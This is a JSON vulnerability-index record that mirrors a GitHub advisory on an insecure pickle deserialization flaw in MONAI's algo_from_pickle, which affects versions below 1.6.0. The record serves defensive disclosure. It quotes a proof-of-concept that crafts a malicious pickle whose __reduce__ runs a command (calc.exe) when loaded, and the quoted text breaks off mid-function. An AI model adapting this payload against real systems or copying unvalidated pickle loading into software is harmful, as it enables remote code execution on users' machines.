{"items":[{"id":"NVI-00015053","kind":"vulnerability","title":"MONAI: Unsafe functions lead to pickle deserialization rce","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-89gg-p5r5-q6r4"],"plain_summary":"GitHub lists this reviewed advisory for monai. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-126cda2faa78b757e9ce63a78016da7a"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-07-31T22:01:46.000Z","value":"7.6 high","meaning":"GitHub source severity; exploitability and local consequence require separate evidence.","source_id":"sr-126cda2faa78b757e9ce63a78016da7a"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-126cda2faa78b757e9ce63a78016da7a","url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-89gg-p5r5-q6r4","publisher":"GitHub Advisory Database","observed_at":"2026-11-03T09:58:33.950Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-126cda2faa78b757e9ce63a78016da7a"],"technology":"monai","known_exclusions":[],"conditions_summary":"### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, (['calc.exe'],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: ","public_affected_ranges":["< 1.6.0"]}],"null_published_at":"2026-11-03T10:03:26.540Z","source_updated_at":"2026-07-31T22:01:46.000Z","source_disclosed_at":"2026-04-07T20:17:21.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-03T09:58:33.950Z"}],"next_cursor":null,"snapshot_revision":"42594"}